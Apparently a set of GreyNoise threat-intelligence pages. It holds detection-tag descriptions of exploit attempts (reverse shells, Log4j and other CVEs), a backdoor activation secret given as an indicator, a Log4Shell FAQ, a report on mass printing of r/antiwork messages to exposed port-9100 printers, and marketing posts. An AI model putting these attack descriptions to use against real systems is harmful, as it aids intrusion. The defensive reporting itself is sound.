This IP address has been observed attempting to send a known activation secret "CB5766F7436E22509381CA605B98685C8966F16B" for a malicious backdoor utilizing WinDivert. References:
DNS Over HTTPS Scanner [Intention: Unknown]
This IP address has been observed attempting to scan for responses to DNS over HTTPS (DoH) requests. References:
Generic Unix Reverse Shell Attempt [Intention: Malicious]
This IP address has been observed attempting to spawn a generic Unix reverse shell via the web request. References:
iKettle Crawler [Intention: Unknown]
This IP address has been observed crawling the Internet and attempting to discover iKettle devices. References:
InfluxDB Crawler [Intention: Unknown]
This IP address has been observed crawling the Internet and attempting to discover InfluxDB instances. References:
IRC Crawler [Intention: Unknown]
This IP address has been observed sending NICK and USER commands used to register a connection with an IRC server. References:
iSCSI Crawler [Intention: Unknown]
This IP address has been observed crawling the Internet and attempting to discover hosts that respond to iSCSI login requests. References:
Jira REST API Crawler [Intention: Unknown]
This IP address has been observed attempting to enumerate Jira instances. References:
Apache Druid RCE Attempt [Intention: Malicious]
CVE-2021-25646
This IP address has been observed attempting to exploit CVE-2021-25646, a remote command execution in Apache Druid v0.20.0 and earlier References:
Apache Log4j RCE Attempt [Intention: Malicious]
CVE-2021-44228 | CVE-2021-45046
This IP address has been observed attempting to exploit CVE-2021-44228 and CVE-2021-45046, a remote code execution vulnerability in the popular Java logging library Apache Log4j. CVE-2021-44228 affects versions 2.14.1 and earlier, CVE-2021-45046 affects versions 2.15.0 and earlier. References:
CentOS Web Panel RCE Attempt [Intention: Malicious]
This IP address has been observed attempting to exploit a vulnerability in CentOS Web Panel, which can lead to elevated privileges and remote code execution. References:
FHEM LFI [Intention: Malicious]
CVE-2020-19360
This IP address has been observed attempting to exploit CVE-2020-19360, a local file inclusion vulnerability in FHEM perl server. References:
GLPI SQL Injection Attempt [Intention: Malicious]
CVE-2019-10232
This IP address has been observed attempting to exploit CVE-2019-10232, an SQL injection vulnerability in GLPI service management software. References:
Grafana Path Traversal Attempt [Intention: Malicious]
CVE-2021-43798
This IP address has been observed attempting to exploit CVE-2021-43798, a path traversal and arbitrary file read in Grafana. References:
Grafana Path Traversal Check [Intention: Unknown]
CVE-2021-43798
This IP address has been observed attempting to check for the presence of CVE-2021-43798, a path traversal and arbitrary file read in Grafana. References:
HRsale LFI [Intention: Malicious]
CVE-2020-27993
This IP address has been observed attempting to exploit CVE-2020-27993, a local file inclusion vulnerability in HRsale. References:
Metabase LFI Attempt [Intention: Malicious]
CVE-2021-41277
This IP address has been observed attempting to exploit CVE-2021-41277, a local file inclusion vulnerability in Metabase. References:
Microsoft HTTP.sys RCE Attempt [Intention: Malicious]
CVE-2021-31166
This IP address has been observed attempting to exploit CVE-2021-31166, a remote code execution vulnerability in the Windows HTTP protocol stack. References:
Motorola Baby Monitor RCE Attempt [Intention: Malicious]
CVE-2021-3577
This IP address has been observed attempting to exploit CVE-2021-3577, a remote command execution vulnerability in Motorola Halo+ baby monitors. References:
NodeBB API Token Bypass Attempt [Intention: Malicious]
CVE-2021-43786
This IP address has been observed attempting to exploit CVE-2021-43786, an unintentionally allowed master token access which can lead to remote code execution. References:
October CMS Password Reset Scanner [Intention: Malicious]
CVE-2021-32648
This IP address has been observed attempting to exploit CVE-2021-32648, a password reset vulnerability in October CMS. References:
TP-Link TL-WR840N RCE Attempt [Intention: Malicious]
CVE-2021-41653
This IP address has been observed attempting to exploit CVE-2021-41653, a remote command execution vulnerability in TP-Link TL-WR840N EU v5. References:
VMware vCenter Arbitrary File Read Attempt [Intention: Malicious]
CVE-2021-21980
This IP address has been observed attempting to exploit CVE-2021-21980, an unauthorized arbitrary file read vulnerability in vSphere Web Client. References:
VMware vCenter SSRF Attempt [Intention: Malicious]
CVE-2021-22049
This IP address has been observed attempting to exploit CVE-2021-22049, a server-side request forgery vulnerability in vSphere Web Client. References:
WebSVN 2.6.0 RCE CVE-2021-32305 [Intention: Malicious]
CVE-2021-32305
This IP address has been observed scanning the Internet for devices vulnerable to CVE-2021-32305, a remote code execution vulnerability in WebSVN which utilizes a shell metacharacter in the search parameter. References:
Zimbra Collaboration Suite XXE Attempt [Intention: Malicious]
CVE-2019-9670
This IP address has been observed attempting to exploit CVE-2019-9670, an XXE vulnerability in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10. References:
Zoho ManageEngine ServiceDesk Plus msiexec RCE Attempt [Intention: Malicious]
CVE-2021-44077
This IP address has been observed attempting to exploit CVE-2021-44077, a remote command execution vulnerability in Zoho ManageEngine ServiceDesk Plus before 11306, ServiceDesk Plus MSP before 10530, and SupportCenter Plus before 11014. References:
Over the past month, security teams have been scrambling to deal with the fallout from the Log4Shell vulnerability (CVE-2021-44228) announced in early December. Between blocking exploitation attempts and trying to determine vulnerable assets, it had already been a long winter for defenders. This vulnerability is particularly challenging as the Apache Log4j library has been used within so many different applications worldwide that it created an unusually large surface area for security teams to identify and defend. Now that the initial shock of the vulnerability is over, we wanted to answer some questions received during the exploit surge and identify a few preventative strategies that might help during future outbreaks.
As of January 2022, a month after initial CVE announcement, GreyNoise still observes a significant volume of traffic related to the Log4j vulnerability. This traffic is primarily composed of generic JNDI string exploit attempts with known obfuscations.
One of the interesting patterns we saw during the first few days of the Log4j “scan-and-exploit” outbreak was a huge surge in benign actors scanning for the vulnerability. The chart above shows Log4j-related activity broken down by scanners who provided attribution (generally benign scanning done by security firms, researchers, and academics) compared to non-attributed scanning (generally, malicious scanning by threat actors).
A huge part of the surge in scanning activity during the first days of the outbreak can be attributed to benign actors. Within the security community, there is significant discussion about the appropriateness of this scanning volume, as security teams further struggled with the alert volumes generated by this traffic during an emergent situation. It’s controversial enough that some in the security community are advocating blocking these types of scans.
That depends. GreyNoise tracks internet noise caused by IPs scanning the entire internet, and classifies them as malicious, unknown, or benign based on their behavior and identity. For example, security vendors that scan the internet to identify vulnerable systems who voluntarily provide self-attribution are generally classified as benign. Other IP addresses that do opportunistic or unsolicited scanning, vuln checking, or exploitation are generally classified as malicious.
Note that organizations are not obligated to allow scanning of their network perimeter, regardless of GreyNoise classification. The value added by allowing or not blocking any IP seen by GreyNoise will vary depending on an organization’s threat model and security posture. The intended purpose of most benign traffic observed by GreyNoise is often to provide context, awareness, and added value to the IT and InfoSec community. However, any significant volume of unsolicited traffic, even that classified as benign by GreyNoise, may result in SOC alert fatigue and dangerous distraction during an active attack.
Mostly. The GreyNoise Log4J tag utilizes the presence of a JNDI format string within a packet’s body to tag IPs. The tag focuses on the core cause of the Log4j vulnerability, common to all the CVEs related to Log4j (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832). As a result, the GreyNoise tag has no false positives and provides substantial coverage for relevant CVEs.
However, GreyNoise researchers have observed at least two examples of attempted Log4j exploits where the malicious string was base64 encoded in an application-specific parameter, allowing it to circumvent the GreyNoise tag.
See the following for more details: https://gist.github.com/nathanqthai/197b6084a05690fdebf96ed34ae84305#base64-encoded-into-parameter
Not usually. GreyNoise does not currently provide raw sensor data for operational security purposes, although we may do so in the future. The GreyNoise Visualizer and APIs do expose select User-agents and URI paths.
That said, due to the high variance of payloads observed at the peak of Log4j activity in December 2021, GreyNoise researchers elected to curate and publish a unified list of payload examples:
https://gist.github.com/nathanqthai/197b6084a05690fdebf96ed34ae84305#base64-encoded-into-parameter
Application-specific attacks leveraging Log4j vulnerabilities. This Apache Log4j vulnerability has been extremely challenging due to the ubiquity of the logging library's use. CVE-2021-44228 had an enormous impact and drew significant attention to how the Log4j library was used within applications worldwide. This attention resulted in several follow-on CVEs that bypassed the initial patch and used varied attack vectors (CVE-2021-45046, CVE-2021-45105, CVE-2021-44832). Log4j-related exploit activity may evolve as security researchers continue to scrutinize the library and its usage across various applications. For example, application-specific vulnerabilities like those discovered in H2 Database Console and VMware may become more prevalent. (https://portswigger.net/daily-swig/researchers-discover-log4j-like-flaw-in-h2-database-console, https://www.vmware.com/security/advisories/VMSA-2021-0028.html) At this time, GreyNoise has not observed any notable trends or upticks regarding application-specific Log4j payloads.
There are more servers on the internet than there is IPv4 space to assign each of these servers a unique address. In the case of the HTTP protocol, hundreds of servers may share a singular IP address and only be reachable when a specific host header is set as part of the connection request. Scoping out this much larger section of the internet in relation to Log4j is a non-trivial task that remains to be fully explored. It is also one of the reasons the cyber defense search engine “Onyphe” opted against scanning the entire internet for vulnerabilities related to Log4j and instead opted for a more targeted approach.
While things are not as bad as they were in December 2021, we do not envision Log4j scanners and attackers disappearing anytime soon. At GreyNoise, our goal is to help identify these kinds of outbreaks as fast as we possibly can in order to give security teams the time and breathing space they need to get their defenses in place.
You are always welcome to use the GreyNoise product to help you separate internet noise from threats as an unauthenticated user on our site. For additional functionality and IP search capacity, create your own GreyNoise Community (free) account today.
UPDATE 16-Dec-21, 4:00 PM ET: Tentative results for #Log4Shell activity by hour showing "Researcher" and "Non-Researcher" breakdown as observed by GreyNoise. It may not be 100% accurate, but it should give an idea of what we are observing. "Researcher" is defined by IPs that GreyNoise knows to be attributable scanners for commercial or research purposes, usually listed as "benign" in our data. "Non-Researcher" is defined as everything else. The researcher numbers seem to flatline, but we believe this is due to the scale of the plot, and new infrastructure spun up by various researchers that have not yet been accounted for. We will try to update this later for a better retroactive understanding.
UPDATE 16-Dec-21, 1:00 PM ET: GreyNoise Research has compiled a set of sample Log4Shell (CVE-2021-44228) payloads observed in the wild. These samples are intended to provide individuals with a clearer idea of some of the variation we're seeing, including esoteric protocols such as IIOP. https://gist.github.com/nathanqthai/197b6084a05690fdebf96ed34ae84305
UPDATE 15-Dec-21, 11:00 PM ET: As of 15-Dec-21, GreyNoise Research is seeing a decrease in the number of unique IP addresses scanning for the Apache Log4j vulnerability.
On December 5, 2021, Apache identified a vulnerability (later identified as CVE-2021-44228) in their widely used Log4j logging service. The vulnerability, also known as Log4shell, enables attackers to gain full control of affected servers by allowing unauthenticated remote code execution if the user is running an application utilizing the Java logging library. Log4j is heavily integrated into a broad set of DevOps frameworks, enterprise IT systems, and vendor software and cloud products.
GreyNoise first observed activity for this vulnerability on December 9, 2021, from 194.48.199[.]78 and 181.214.39[.]2.
To get a current list of all the IP addresses opportunistically scanning the internet to vuln check or exploit CVE-2021-44228, check out this tag summary in the GreyNoise Visualizer
“The reason this vulnerability matters is that Log4j is heavily integrated in enterprise IT and devops. There are a whole bunch of devops frameworks and a whole bunch of enterprise IT systems and vendor systems that use it. So if you pick basically any large vendor and stick Log4j in Google, you’ll find it kicking around in different products, which is going to become a problem. There’s clearly lots of systems out there that, in some way shape or form, rely on this.” – Kevin Beaumont (@GossiTheDog, via Twitter Spaces recording)
On December 5th, 2021, Apache filed a JIRA issue identifying the vulnerability that would become CVE-2021-44228. The following day, December 6th, Apache released a patch providing some details on the vulnerability and crediting Chen Zhaojun of Alibaba Cloud Security Team for the discovery.
On December 9th, weaponized proof-of-concept exploits (PoCs) began to appear, leading to a rapid increase of scanning and public exploitation on December 10th.
Between 1200 EST and 1400 EST on December 10, 2021, GreyNoise has observed a 5x increase in the number of hits per sensor related to the Log4shell event.
Due to ease of exploitation and prevalence of Log4J, GreyNoise researchers believe that this activity will continue to increase over the next few days. A wide variety of use cases for this exploit have already begun to appear, ranging from exploiting Minecraft servers
to more high-profile issues potentially affecting Apple iCloud
The vulnerability feels similar to ShellShock, a vulnerability GreyNoise still observes since it was first identified in 2014.
GreyNoise is providing IOCs for CVE-2021-44228 Apache Log4j RCE attempts on Github. You can access the C2/Callback domains here and the latest IPs here. You can get the most up-to-date information via GreyNoise for Log4shell here.
CVE-2021-44228 is still new, and its impact will likely be felt for a long time due to the pervasiveness of Log4j. Multiple recommendations for patching have been made (CISA), and detections have been made available. As the landscape develops, GreyNoise will be tweeting about new information and IoCs. Follow us there for the latest information.
.jpg)
On November 24, 2021, GreyNoise’s passive sensor network observed a single IP address mass transmitting a message in plaintext to port 9100, a common port for printer connections. The text is related to Reddit’s /r/antiwork, a subreddit dedicated to discussing and seeking an end to exploitative work. Since the initial observation, we’ve seen a significant increase in transmissions.
Printers, when exposed to the Internet over port 9100, will print any plaintext received. As seen in Figure 1, this message was formatted with the proper dimensions specifically for receipt printers. This appears to be corroborated by a dozen individuals posting printed receipts from their place of work with variations of the messages observed by GreyNoise, Figure 1. GreyNoise has seen 29 variations of the same few messages, which have been provided at the end of this blog.
The observed activity began with reconnaissance. GreyNoise saw several actors performing network scans using Nmap, ZMap, and masscan to verify that port 9100 is open before relaying r/antiwork messages. Figure 2 shows the timeline of activity, with activity coming from over 60+ unique IPs over the span of the week.
The bulk of activity originates from IPs belonging to “BL Networks," a hosting provider based out of the Netherlands (view it on GreyNoise). Figure 3 shows the geographical breakdown of IPs transmitting the messages.
While the messages are not specific to the United States, the majority of the traffic was largely directed at North American IPs.
The GreyNoise Research team was able to identify at least one concerted effort behind the recent activity. Figure 4 shows individual IP activity observed by GreyNoise sensors over time. IPs are colored by their numerical adjacency. For example, 192.168.1.1 and 192.168.1.2 would be colored similarly since they are numerically adjacent, but 10.0.0.1 and 192.168.1.1 are not.
Researchers observed a diverse set of uncoordinated IP addresses responsible for the activity around Thursday, November 25 (U.S. Thanksgiving) and Friday, November 26 (Black Friday). Prior to November 26, activity was scattered amongst different source IPs and ASN ranges. However, in the following week, we noted two additional sets of coordinated IPs on November 29th and December 2.
Researchers determined that, as of December 2nd, all servers used to transmit the messages had port 80 open and were running Python 3.9.2 SimpleHTTPServer. The servers exposed a directory with the text files, presumably the content being transmitted by the server:
Based on associated SSL Certificates and domain information, the team was able to make contact with the current owner of one of the IPs. The owner responded with the following:
GreyNoise researchers were unable to determine whether or not the current owner is responsible for the activity, though they did respond letting us know they took down one of the servers (which GreyNoise has corroborated).
This is not the first time printjacking has occurred. GreyNoise has previously observed coordinated activity on port 9100 in 2018 related to an incident involving YouTube superstar PewDiePie.
When asked for recommendations on best practices, GreyNoise IT & Security Director responded: “In order to avoid printjacking, we recommend ensuring port 9100 on your device remains closed to the Internet. If your printer vendor requires connection to an open port, it’s a good time to consider a different provider."
Learn more about GreyNoise and follow us on LinkedIn and Twitter.
GreyNoise has seen 29 variations of the same few messages, which you can read below or access via this Gist.
RIDDLE ME THIS
How can the McDonald's in Denmark manage
to pay their staff $22 an hour and still
sell a Big Mac for less than in America?
Answer: UNIONS!
Did you know that it is a rather
simple task to organize a UNION?
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
ARE YOU BEING UNDERPAID?
You have a legal, protected right to discuss your pay with your coworkers.
This should be done on a regular basis to ensure that everyone is being paid fairly.
It is ILLEGAL for your employer to punish you for doing this.
If you learn that you are being paid less than someone else who is doing the same job,
you should demand a raise or consider quitting and finding a different job.
SLAVE WAGES only exist because people are willing to work for them.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
======================
NEW YEAR'S RESOLUTIONS
======================
1. Hit the Gym
2. Delete Facebook
3. ORGANIZE A UNION
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
=========================
WHAT TO DO ON BREAK TODAY
=========================
1. Talk about your PAY
2. Talk about your RIGHTS
3. Begin ORGANIZING A UNION
GOOD employers are not afraid
of these, but ABUSIVE ones are.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
=====================
INFLATION WAGE NOTICE
=====================
Due to the 6.2% inflation rate,
all US workers are entitled to
at least a 6.2% pay adjustment.
We have received reports of
some ABUSIVE EMPLOYERS not
providing these adjustments.
If you have not received such a
raise, please ask your employer
why your PAY WAS CUT.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
=========================
WHAT TO DO ON BREAK TODAY
=========================
1. Talk about your PAY
2. Talk about your RIGHTS
3. Begin ORGANIZING A UNION
GOOD employers are not afraid
of these, but ABUSIVE ones are.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
TIME IS YOUR MOST VALUABLE ASSET.
Not only can you never obtain any
more of it, you do not even know
how much you have to begin with.
Why are you selling YOUR TIME
for SO LITTLE?
Join the "25 OR WALK" movement!
Tell your employer that YOUR TIME
is worth no less than $25 per hour,
and for them to call you when
they are ready to pay up.
But don't quit!
Make them fire you!
... and spend YOUR TIME with family
... and spend YOUR TIME with friends
... and rediscover YOUR favorite hobby
... and RECLAIM YOUR LIFE
SLAVE WAGES only existed because
people were willing to work for them.
BUT NOT ANYMORE.
THIS. ENDS. NOW.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
HOW TO SCARE A SLAVE OWNER:
1. Talk about your PAY
2. Talk about your RIGHTS
3. Talk about FORMING A UNION
Employers are not scared of
these, but SLAVE OWNERS are.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
==========================
ABUSIVE EMPLOYER CHECKLIST
==========================
[ ] Can't talk about PAY
[ ] Can't talk about RIGHTS
[ ] Can't talk about UNIONS
[ ] Punished for getting SICK
[ ] Punished for taking VACATION
If your employer checks ANY of
these, please contact support:
reddit.com/r/antiwork
----------------------------------------------------------
:::::::::::::::::::::::::::::::
::::: TIME IS :::::::::::::::::
::::::: YOUR MOST :::::::::::::
:::::::::: VALUABLE ASSET :::::
:::::::::::::::::::::::::::::::
Not only can you never
obtain any more of it,
you do not even know how
much you have to begin with.
LIFE IS SHORT!
Why are you selling YOUR TIME
for SO LITTLE?
Join the "25 OR WALK" movement!
Tell your employer that YOUR
TIME is worth no less than
$25 per hour, and for them
to call you when they are
ready to pay up.
But DON'T QUIT!
MAKE THEM FIRE YOU!
... and spend YOUR TIME
...... with FAMILY
... and spend YOUR TIME
...... with FRIENDS
... and rediscover YOUR
...... FAVORITE HOBBY
... AND RECLAIM YOUR LIFE
POVERTY WAGES only existed
because people were "willing"
to work for them.
BUT NOT ANYMORE.
THIS. ENDS. NOW.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
ARE YOU BEING UNDERPAID?
You have a legal, protected right to
discuss your pay with your coworkers.
This should be done on a regular basis to
ensure that everyone is being paid fairly.
It is ILLEGAL for your employer to punish
you for doing this.
If you learn that you are being paid less
than someone else who is doing the same
job, you should demand a raise or consider
getting fired and finding a better job.
SLAVE WAGES only exist because people are
willing to work for them.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
==============
RIDDLE ME THIS
==============
How can the McDonald's
in Denmark pay their staff
$22 an hour and still manage
to sell a Big Mac for
less than in America?
Answer: UNIONS!
A GOOD UNION can easily
align everyone's goals.
Did you know that it
is a rather simple task
to organize a UNION?
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
========================
ARE YOU BEING UNDERPAID?
========================
You have a protected LEGAL
RIGHT to discuss your pay
with your coworkers.
This should be done on a
regular basis to ensure that
everyone is being paid fairly.
It is ILLEGAL for your employer
to punish you for doing this.
If you learn that you are being
paid less than someone else who
is doing the same job, you
should demand a raise or
consider getting fired and
finding a better employer.
POVERTY WAGES only exist
because people are "willing"
to work for them.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
RIDDLE ME THIS
How can the McDonald's in Denmark manage
to pay their staff $22 an hour and still
sell a Big Mac for less than in America?
Answer: UNIONS!
Did you know that it is a rather
simple task to organize a UNION?
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
=====================
INFLATION WAGE NOTICE
=====================
Due to the 6.2% inflation rate,
all US workers are entitled to
at least a 6.2% pay adjustment.
We have received reports of
some ABUSIVE EMPLOYERS not
providing these adjustments.
If you have not received such a
raise, please ask your employer
why your PAY WAS CUT.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
RIDDLE ME THIS
How can the McDonald's in Denmark manage
to pay their staff $22 an hour and still
sell a Big Mac for less than in America?
Answer: UNIONS!
Did you know that it is a rather
simple task to organize a UNION?
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
========================
ARE YOU BEING UNDERPAID?
========================
You have a protected LEGAL
RIGHT to discuss your pay
with your coworkers.
This should be done on a
regular basis to ensure that
everyone is being paid fairly.
It is ILLEGAL for your employer
to punish you for doing this.
If you learn that you are being
paid less than someone else who
is doing the same job, you
should demand a raise or
consider getting fired and
finding a better employer.
POVERTY WAGES only exist
because people are "willing"
to work for them.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
==========================
ABUSIVE EMPLOYER CHECKLIST
==========================
[ ] Can't talk about PAY
[ ] Can't talk about RIGHTS
[ ] Can't talk about UNIONS
[ ] Punished for getting SICK
[ ] Punished for taking VACATION
If your employer checks ANY of these,
please contact support at:
reddit.com/r/antiwork
----------------------------------------------------------
TIME IS YOUR MOST VALUABLE ASSET.
Not only can you never obtain any
more of it, you do not even know
how much you have to begin with.
Why are you selling YOUR TIME
for SO LITTLE?
Join the "25 OR WALK" movement!
Tell your employer that YOUR TIME
is worth no less than $25 per hour,
and for them to call you when
they are ready to pay up.
But don’t quit!
Make them fire you!
... and spend YOUR TIME with family
... and spend YOUR TIME with friends
... and rediscover YOUR favorite hobby
... and RECLAIM YOUR LIFE
SLAVE WAGES only existed because
people were willing to work for them.
BUT NOT ANYMORE.
THIS. ENDS. NOW.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
TIME IS YOUR MOST VALUABLE ASSET.
Not only can you never obtain any
more of it, you do not even know
how much you have to begin with.
Why are you selling YOUR TIME
for SO LITTLE?
Join the "25 OR WALK" movement!
Tell your employer that YOUR TIME
is worth no less than $25 per hour,
and for them to call you when
they are ready to pay up.
But don’t quit!
Make them fire you!
... and spend YOUR TIME with family
... and spend YOUR TIME with friends
... and rediscover YOUR favorite hobby
... and RECLAIM YOUR LIFE
SLAVE WAGES only existed because
people were willing to work for them.
BUT NOT ANYMORE.
THIS. ENDS. NOW.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
HOW TO SCARE A SLAVE OWNER:
1. Talk about your PAY
2. Talk about your RIGHTS
3. Talk about FORMING A UNION
Employers are not scared of
these, but SLAVE OWNERS are.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
======================
NEW YEAR'S RESOLUTIONS
======================
1. Hit the Gym
2. Delete Facebook
3. ORGANIZE A UNION
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
HOW TO SCARE A SLAVE OWNER:
1. Talk about your PAY
2. Talk about your RIGHTS
3. Talk about FORMING A UNION
Employers are not scared of
these, but SLAVE OWNERS are.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
ARE YOU BEING UNDERPAID?
You have a legal, protected right to
discuss your pay with your coworkers.
This should be done on a regular basis to
ensure that everyone is being paid fairly.
It is ILLEGAL for your employer to punish
you for doing this.
If you learn that you are being paid less
than someone else who is doing the same
job, you should demand a raise or consider
quitting and finding a different job.
SLAVE WAGES only exist because people are
willing to work for them.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
:::::::::::::::::::::::::::::::
::::: TIME IS :::::::::::::::::
::::::: YOUR MOST :::::::::::::
:::::::::: VALUABLE ASSET :::::
:::::::::::::::::::::::::::::::
Not only can you never
obtain any more of it,
you do not even know how
much you have to begin with.
LIFE IS SHORT!
Why are you selling YOUR TIME
for SO LITTLE?
Join the "25 OR WALK" movement!
Tell your employer that YOUR
TIME is worth no less than
$25 per hour, and for them
to call you when they are
ready to pay up.
But DON'T QUIT!
MAKE THEM FIRE YOU!
... and spend YOUR TIME
...... with FAMILY
... and spend YOUR TIME
...... with FRIENDS
... and rediscover YOUR
...... FAVORITE HOBBY
... AND RECLAIM YOUR LIFE
POVERTY WAGES only existed
because people were "willing"
to work for them.
BUT NOT ANYMORE.
THIS. ENDS. NOW.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
ARE YOU BEING UNDERPAID?
You have a legal, protected right to
discuss your pay with your coworkers.
This should be done on a regular basis to
ensure that everyone is being paid fairly.
It is ILLEGAL for your employer to punish
you for doing this.
If you learn that you are being paid less
than someone else who is doing the same
job, you should demand a raise or consider
getting fired and finding a better job.
SLAVE WAGES only exist because people are
willing to work for them.
Learn More:
=====================
reddit.com/r/antiwork
=====================
----------------------------------------------------------
==========================
ABUSIVE EMPLOYER CHECKLIST
==========================
[ ] Can't talk about PAY
[ ] Can't talk about RIGHTS
[ ] Can't talk about UNIONS
[ ] Punished for getting SICK
[ ] Punished for taking VACATION
If your employer checks ANY of
these, please contact support:
reddit.com/r/antiwork
----------------------------------------------------------
ARE YOU BEING UNDERPAID?
You have a legal, protected right to
discuss your pay with your coworkers.
This should be done on a regular basis to
ensure that everyone is being paid fairly.
It is ILLEGAL for your employer to punish
you for doing this.
If you learn that you are being paid less
than someone else who is doing the same
job, you should demand a raise or consider
getting fired and finding a better job.
SLAVE WAGES only exist because people are
willing to work for them.
Learn More:
=====================
reddit.com/r/antiwork
====================
----------------------------------------------------------
==============
RIDDLE ME THIS
==============
How can the McDonald's
in Denmark pay their staff
$22 an hour and still manage
to sell a Big Mac for
less than in America?
Answer: UNIONS!
A GOOD UNION can easily
align everyone's goals.
Did you know that it
is a rather simple task
to organize a UNION?
Learn More:
=====================
reddit.com/r/antiwork
=====================
GreyNoise is proud to announce a production contract with a $30M USD ceiling awarded to GreyNoise by the United States Department of Defense (U.S. DoD). This new contract stems from GreyNoise’s initial prototype with the U.S. DoD’s Defense Innovation Unit (DIU) announced earlier in 2021 to help the Department diagnose internet-wide scan-and-attack activity.
Our CEO and Founder, Andrew Morris, says it best: “We're deeply thrilled to be able to call the DoD a full customer, and honored to support their mission…we have become the ‘go-to’ authority on the scan-and-attack traffic that absolutely all internet-dependent organizations are subject to, because of our unique ability to monitor and analyze internet noise at global scale. This visibility has become more and more important as malicious actors leverage automation to scale their attacks. GreyNoise will enhance cyber threat detection and intelligence-gathering capabilities across the DoD and other branches of the U.S. government, and enable security analysts to focus their valuable time and energy on legitimate threats.”
Every machine connected to the internet is exposed to a barrage of unsolicited communications from tens of thousands of unique IP addresses per day—a phenomenon we call internet background noise. A percentage of these communications are malicious attacks and web crawls; some are non-malicious scans and pings; some are legitimate business services; and others still are unknown, but hitting everyone on the internet. GreyNoise solves the challenge of diagnosing and filtering this massive volume of traffic for security analysts and teams.
GreyNoise offers two value propositions for security analysts and SOC teams:
We help SOC teams recognize events not worth their attention. On average, prospects who trial GreyNoise see that 20-40% of their alert traffic is noise, and GreyNoise customers are seeing alert volume reductions of 25% or more.
Indicators in GreyNoise are likely associated with opportunistic internet scanning or common business services, not targeted threats. This context helps the SOC in a few ways:
GreyNoise helps organizations reduce the risk and costs of compromise by seeing emerging threats faster and more clearly, in three basic ways:
This production contract allows the GreyNoise platform to be purchased and utilized by all DoD organizations over a 5-year period. Resulting from our partnership with the Defense Innovation Unit (DIU), the collaboration helps the DoD focus on identifying and scaling commercial technology solutions while deploying them rapidly across the U.S. military to strengthen the nation’s security.
We’ve got an ordering guide that makes it easy for DoD organizations to scope and purchase the GreyNoise platform for their specific requirements. To access the ordering guide for GreyNoise products associated with this contract, please email sales@greynoise.io.
You’re in a dark room, and your screen is crawling with alerts from your IDS/IPS about an IP address trying an exploit on one of your internet-facing devices. You scramble to investigate the event, checking VirusTotal, IPinfo, Whois, and even Google to try to figure out how dangerous the IP might be, only to figure out after an hour that it's actually just Shodan… or Censys… or Pingdom… or a brain-dead bot script.
GreyNoise recently met with Robert*, Manager of Cybersecurity Incident Response & Operations at a large food service & hospitality company. Robert lives this reality every day as he and his Incident Response team respond to network events from their MSSP and internal detections. Recently Robert found a way to leverage GreyNoise Intelligence data integrated into Cortex XSOAR incident response to help his team answer these questions much more quickly and effectively. We caught up with Robert recently to learn how he had done it.
* Customer names have been changed to maintain anonymity
Robert: Sure — I lead the incident response and security operations team at my company. I've been here for about six years and was previously an individual contributor on a joint team that combined security engineering, incident response, and security operations.
A few years ago, we figured it probably doesn't make sense to keep this one giant team, and it would be nice to start developing some specialization. So we chunked the team into two groups — a security engineering team, and an incident response and security operations team. I was fortunate to be selected to run the new IR and Ops team, and I’ve been doing it for about two years now.
Robert: We work with several external partners that triage alerts for us, as well as conduct our own custom detections and investigations. We actually have four different alert classifications:
So basically, we use our MSSP partner as Tier 1 analysts, with my teams handling Tier 2 and above. We're not a 24x7 shop, so we push 24x7 monitoring of our assets to our partners, basically saying, “Here's your escalation plan during business hours; here's your escalation plan outside of business hours. Go get them.”
Once we get an alert through any of these sources, we'll do triage, and beyond the initial triage, we’ll do remediation, and then resilience. Any kind of gaps that we have in those tools, we supplement with our own detections, or if it's a use case that’s specific to the company, we'll do it internally as well.
Robert: I remember seeing Andrew [Morris, founder and CEO of GreyNoise] talking about it on Twitter, and I checked it out and thought, wow, this is really awesome. I think the biggest sort of “aha” for me was looking at the amount of time it could save me during an investigation.
What was happening quite often to us was that we would get these IDS/IPS alerts about an exploitation attempt. And we’d have to run the alerts to the ground, and it was taking forever.
I realized, looking at GreyNoise, that this tool would tell me if this is a targeted attack or if it’s a piece of automation that some attacker is using to try to build their botnet. Because if it's an automated attack, and the script fails even slightly, then the whole attack is probably a wash at that point. There's not an operator with hands-on-keyboard to make the adjustments needed, so the automation just fails and moves on to the next IP.
Having that kind of insight was a game-changer for us in how we analyzed those alerts and how we looked at that type of attack surface. So we started using the Community edition of GreyNoise with our old homegrown incident response tool to query things, and it was tremendously helpful.
For example, one of the things we were looking at was vulnerability scans. If we’re getting vulnerability scanned by somebody who’s scanning everybody else too, okay, welcome to the Internet. But if somebody’s scanning us that GreyNoise has never heard of, that's interesting — why are they just scanning us? Are we being targeted? GreyNoise majorly short-cycled a lot of investigations on these kinds of events.
Another example, we would see somebody slinging an Apache Struts exploit. Okay, are they doing this just to us, or are they doing this to everybody? And again, that kind of changed the dynamic of how we responded to that event.
